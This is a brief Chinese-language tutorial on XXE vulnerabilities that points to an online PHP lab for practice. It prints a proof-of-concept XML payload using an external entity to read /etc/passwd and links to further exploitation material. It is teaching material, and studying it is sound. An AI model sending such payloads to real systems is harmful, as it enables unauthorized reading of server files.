XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
当允许引用外部实体时,攻击者可通过构造恶意的XML内容,进行读取任意文件、执行系统命令、探测内网端口、攻击内网网站等操作。
VulnSpy提供了PHP XXE的在线演示实验,我们可以直接在线对XXE漏洞进行测试。
演示地址:XML External Entity (XXE) - https://www.vulnspy.com/?u=phpaudit-xxe/xml_external_entity_(xxe)
在XXE的演示示例中演示了3种不同函数/类导致的XXE漏洞,同时提供了Blind XXE的环境。
打开测试文件后默认内容为简单的任意文件读取POC:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
漏洞利用
更多的利用姿势可以参考:
未知攻焉知防——XXE漏洞攻防- 博客- 腾讯安全应急响应中心 - https://security.tencent.com/index.php/blog/msg/69